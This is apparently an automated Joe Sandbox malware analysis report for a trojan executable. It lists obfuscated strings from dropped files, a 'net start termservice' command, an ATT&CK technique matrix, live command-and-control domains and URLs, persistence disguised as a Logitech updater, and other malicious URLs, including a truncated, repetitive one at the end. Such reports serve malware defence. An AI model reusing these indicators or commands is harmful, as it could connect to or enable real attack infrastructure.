Source: cnfpnteryde.1.dr	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setb91ec37b19247dd92a901a8f950c08d9f5a43204a66445ad0e09c0db80eb910b776334a83469992ad7a23ca2f09ee0eb5da9daZVz4fehA1U0n9B4f5XPk1W2E9QGn2f8hc0Q=Mx8mcUllK0If7nQjC2jjPGS9Jhqq2x==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gLsZ0ZxMYZqOvgA1k9f7JAu3zH9B2izXAK6AkEmdy==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gPsZ0ZxMY380elm30IeIlbn3mPa5C2B9Bp=OQUAOo==VwQpdzQuKQRwfI==MQLwfI==0UG6PLViPkQdVD==S184fPRuBkMXVT==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwIZ8h0O==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgXPJm3gsM7JYq3Czv22upXRyBV1HlefN23y==VkLxZ0RoKu5EyDAGNHoQzC7oB3BlVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwdlLy1yttCxz VFzz1VFi2VD=VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgWUdm2En NpbqQGTn3w==KTLXTNFRKi0zOXADAQ==YCvAes==VCZXXs==SYLYbUG elC d0G c1C Zka ZVy dEC eUU 0EQ ZVO cFO c03 dhQ=Z1zp1u1l2Eo1U5An4C3 2GucZ1zp1u1l2En=Z0nteu1l2En=0Bu=0Ru=0Ry=0RC=UUvtd9==bFH4evkwBu==bFH4ezI7BwZ=0V8p0EnwZ0RodFCBcVDtfkbAM1v5cOR1QEC+QEG+MZrwfO q2lDoLwivJu==gy==KlLycPM QO==d08pdysACgWd8Jz=b0LCdeRtCxznVJAqS0L4VeB11VQeQ6ox5GTiIW2r q==VFzz1VFi2SIa JIaRTPFWTMhK00f Kgf4mS=RVPteeA=T0vDeyRz30kYEHAfPg==STDJXs==VEvy1yAhK0Mc 0Mn5Hi=SEZnfy5zyD5eUj==RTPLNxOAXy51OUoMVZQZ4mjP5Q==Rkb41yRnPUWdV0L=UkZCfy5vV0ZAcy5AR0ZxdUNwW0byTyRnPUWdV0L=NBuCOrM2Dh4XKT==dky=e0y=R0ZyfyRv4ASNa0EjFizi4Wu59Rqj2kTt0kZCdKXlOVIaKBEg33TjPGCDcNPvAP3rMQQxNKWuEOfHdU11PUWTHXUn43zk32i59QYwDfEkc1zxNONi4Ev0EJ8f3WSYymOmbAtkDvEkbUnpdeBuPRRbJeQOSU5v4EMn F4S6XzaEiymaBqu0TQfeEbzda5wO1Ie F4x5HHaOWXSAaPMEOexNKWuBQR=MQQRE9==Q1DnebWyMkfA1o==R0ZyfyRv4ASNa0EjFiz73Hyx9QCj3DotcgZ8NP 44wSf86MrCXTn2GSzWWYmOTT=VZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6M5br4HTPPXGTWQQnMBQtcVr5fyRzJkwmVT==R0ZxezR1PVAHUZ4jZUzn1yRnP09i7pwq3W3k3HCDaXG33kg2fVeAOLEADBLVJCj3CV6=MVLycOJwPELmVZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6RZ8n5GT LmipXQYeFXbMWDzTVxtXISIyP4z=VZbXXwRONCEo8qUw32vIPXNBKxueJZYwekbn1PJdGkws7ZQC2XLl2GC VzOrODYtWkbo1O5KHy==YBqAOvw=SELq0PRt4DEe KUn3mboBleXXRCx1EYYbUZySELq0PRt4DEe KUn3mboBliXXRCx1EYYbUZyVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1CkVdNdG1Mr9pYs5FXa3nKu WT=VFzz1zRk4CWa8ZX=NhqBQI==NhqCO9==NhqBP9==NhqCPI==R1LCeeRv4CAU7ZAiYy==Phe dlLy1yttCxznV0kjM0ikJlHleUps1UolEFbkzC7e2SxnJgqqLax11USe86YYzDC6ziVlXAKuxx==KgOkTPdq4Az=JgqqLaxzPUV JAOqKs==VEZ71PFA1EMl8F8j6GS=MUL81OJ24Eco8qEt3Gj95SyDXQQx3DYxbU4y1OMhBSQi8JXezg==Je==d085fyNw40V H0PeCXO6CA==d1Gceo==dkvy1y5uT0L90e5i3kH PJI333TPNFyDXQmxNTT=NBqAOvw1CRb=NBqAOvw1Chz=NBqAOvw1ChD=NBqAOvw1C0P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000
Source: vkqcbyjdfiw.12.dr	String found in binary or memory: net start termservice
Source: vkqcbyjdfiw.12.dr	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setb91ec37b19247dd92a901a8f950c08d9f5a43204a66445ad0e09c0db80eb910b776334a83469992ad7a23ca2f09ee0eb5da9daZVz4fehA1U0n9B4f5XPk1W2E9QGn2f8hc0Q=Mx8mcUllK0If7nQjC2jjPGS9Jhqq2x==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gLsZ0ZxMYZqOvgA1k9f7JAu3zH9B2izXAK6AkEmdy==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gPsZ0ZxMY380elm30IeIlbn3mPa5C2B9Bp=OQUAOo==VwQpdzQuKQRwfI==MQLwfI==0UG6PLViPkQdVD==S184fPRuBkMXVT==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwIZ8h0O==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgXPJm3gsM7JYq3Czv22upXRyBV1HlefN23y==VkLxZ0RoKu5EyDAGNHoQzC7oB3BlVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwdlLy1yttCxz VFzz1VFi2VD=VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgWUdm2En NpbqQGTn3w==KTLXTNFRKi0zOXADAQ==YCvAes==VCZXXs==SYLYbUG elC d0G c1C Zka ZVy dEC eUU 0EQ ZVO cFO c03 dhQ=Z1zp1u1l2Eo1U5An4C3 2GucZ1zp1u1l2En=Z0nteu1l2En=0Bu=0Ru=0Ry=0RC=UUvtd9==bFH4evkwBu==bFH4ezI7BwZ=0V8p0EnwZ0RodFCBcVDtfkbAM1v5cOR1QEC+QEG+MZrwfO q2lDoLwivJu==gy==KlLycPM QO==d08pdysACgWd8Jz=b0LCdeRtCxznVJAqS0L4VeB11VQeQ6ox5GTiIW2r q==VFzz1VFi2SIa JIaRTPFWTMhK00f Kgf4mS=RVPteeA=T0vDeyRz30kYEHAfPg==STDJXs==VEvy1yAhK0Mc 0Mn5Hi=SEZnfy5zyD5eUj==RTPLNxOAXy51OUoMVZQZ4mjP5Q==Rkb41yRnPUWdV0L=UkZCfy5vV0ZAcy5AR0ZxdUNwW0byTyRnPUWdV0L=NBuCOrM2Dh4XKT==dky=e0y=R0ZyfyRv4ASNa0EjFizi4Wu59Rqj2kTt0kZCdKXlOVIaKBEg33TjPGCDcNPvAP3rMQQxNKWuEOfHdU11PUWTHXUn43zk32i59QYwDfEkc1zxNONi4Ev0EJ8f3WSYymOmbAtkDvEkbUnpdeBuPRRbJeQOSU5v4EMn F4S6XzaEiymaBqu0TQfeEbzda5wO1Ie F4x5HHaOWXSAaPMEOexNKWuBQR=MQQRE9==Q1DnebWyMkfA1o==R0ZyfyRv4ASNa0EjFiz73Hyx9QCj3DotcgZ8NP 44wSf86MrCXTn2GSzWWYmOTT=VZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6M5br4HTPPXGTWQQnMBQtcVr5fyRzJkwmVT==R0ZxezR1PVAHUZ4jZUzn1yRnP09i7pwq3W3k3HCDaXG33kg2fVeAOLEADBLVJCj3CV6=MVLycOJwPELmVZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6RZ8n5GT LmipXQYeFXbMWDzTVxtXISIyP4z=VZbXXwRONCEo8qUw32vIPXNBKxueJZYwekbn1PJdGkws7ZQC2XLl2GC VzOrODYtWkbo1O5KHy==YBqAOvw=SELq0PRt4DEe KUn3mboBleXXRCx1EYYbUZySELq0PRt4DEe KUn3mboBliXXRCx1EYYbUZyVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1CkVdNdG1Mr9pYs5FXa3nKu WT=VFzz1zRk4CWa8ZX=NhqBQI==NhqCO9==NhqBP9==NhqCPI==R1LCeeRv4CAU7ZAiYy==Phe dlLy1yttCxznV0kjM0ikJlHleUps1UolEFbkzC7e2SxnJgqqLax11USe86YYzDC6ziVlXAKuxx==KgOkTPdq4Az=JgqqLaxzPUV JAOqKs==VEZ71PFA1EMl8F8j6GS=MUL81OJ24Eco8qEt3Gj95SyDXQQx3DYxbU4y1OMhBSQi8JXezg==Je==d085fyNw40V H0PeCXO6CA==d1Gceo==dkvy1y5uT0L90e5i3kH PJI333TPNFyDXQmxNTT=NBqAOvw1CRb=NBqAOvw1Chz=NBqAOvw1ChD=NBqAOvw1C0P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	511 Process Injection	11 Masquerading	OS Credential Dumping	2 System Time Discovery	1 Remote Desktop Protocol	1 Screen Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	11 DLL Side-Loading	1 Scheduled Task/Job	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	511 Process Injection	Security Account Manager	221 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 DLL Side-Loading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	235 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5Z1WFRMTOXRH6X21Z8NU8.exe	18%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\cnfpnteryde	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\vkqcbyjdfiw	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://www.symauth.com/cps0(	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
artvisions-autoinsider.com	188.114.97.3	true	true	unknown
artvisions-autoinsider3.com	unknown	unknown	false	unknown
artvisions-autoinsider2.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://artvisions-autoinsider.com/8bkjdSdfjCe/index.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.aiim.org/pdfa/ns/property#	5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2155388747.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 00000007.00000002.2300803784.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.pdfshaper.com/buy.htmlopenU	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.phpdu	explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.vmware.com/0	5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.aiim.org/pdfa/ns/id/&4D	logioptionsplus_updater.exe, 0000000B.00000002.2718351383.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://artvisions-autoinsider3.com/G8bjesde2/index.php	explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EA7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.aiim.org/pdfa/ns/id/	logioptionsplus_updater.exe, 00000007.00000002.2300803784.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.pdfshaper.com/update.verU	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.php0	explorer.exe, 0000000E.00000002.3581166960.0000000002F16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.aiim.org/pdfa/ns/schema#	5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2155388747.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 00000007.00000002.2300803784.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 0000000B.00000002.2718351383.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.aiim.org/pdfa/ns/property#HR	logioptionsplus_updater.exe, 0000000B.00000002.2718351383.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://artvisions-autoinsider3.com/G8bjesde2/index.phpP	explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ca.signfiles.com/TSAServer.aspx	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://www.vmware.com/0/	5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.pdfshaper.comopen	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://artvisions-autoinsider3.com/S	explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://artvisions-autoinsider.com/8bkjdSdfjCe/index.phpQ	explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.symauth.com/cps0(	5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.php	explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002F16000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://artvisions-autoinsider.com/8bkjdSdfjCe/index.phpH	explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.xfa.org/schema/xfa-template/	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://artvisions-autoinsider.com/8bkjdSdfjCe/index.php&	explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.winsoft.sk	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://xml.org/sax/properties/declaration-handler	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://www.winsoft.skU	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://www.symauth.com/rpa00	5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.phpM	explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.pdfshaper.comP	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://www.info-zip.org/	5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004A09000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.00000000045BE000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.00000000045BC000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E38000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.000000000517D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://artvisions-autoinsider3.com/	explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.aiim.org/pdfa/ns/extension/	5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2155388747.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 00000007.00000002.2300803784.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 0000000B.00000002.2718351383.0000000001350000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.aiim.org/pdfa/ns/id/ndows.	5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2155388747.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://artvisions-autoinsider3.com/G8bjesde2/index.php(	explorer.exe, 0000000E.00000002.3581166960.0000000002EDA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://artvisions-autoinsider2.com/c	explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://artvisions-autoinsider.com/5	explorer.exe, 0000000E.00000002.3581166960.0000000002EFB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.pdfshaper.com/download.htmlopen	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://artvisions-autoinsider2.com/Of093jhfhlpo2c/index.php?	explorer.exe, 0000000E.00000002.3581166960.0000000002F16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.xfa.org/schema/xfa-data/1.0/	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown
http://xml.org/sax/properties/lexical-handler	5Z1WFRMTOXRH6X21Z8NU8.exe	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	artvisions-autoinsider.com	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542426
Start date and time:	2024-10-25 22:41:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5Z1WFRMTOXRH6X21Z8NU8.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@13/7@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 30 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, oneocsp.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 5Z1WFRMTOXRH6X21Z8NU8.exe

Simulations

Behavior and APIs

Time	Type	Description
21:43:18	Task Scheduler	Run new task: logioptionsplus_updater path: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F
	01YP9Lwum8.exe	Get hash	malicious	DCRat	Browse	77777cm.nyashtyan.in/externalpipejsprocessAuthapiDbtrackWordpressCdn.php
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	www.freedietbuilder.online/nnla/
	http://onlinecheapflights.net/	Get hash	malicious	Unknown	Browse	onlinecheapflights.net/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://deborahmeagher.com.de/kfOoB/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	VAIIBIHmtT.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	Bill Payment__8084746.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	ACTION required to activate your account - bp Supplier Portal.eml	Get hash	malicious	Unknown	Browse	172.66.0.126
	http://www.wattpad.com	Get hash	malicious	Unknown	Browse	104.22.74.216
	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Cs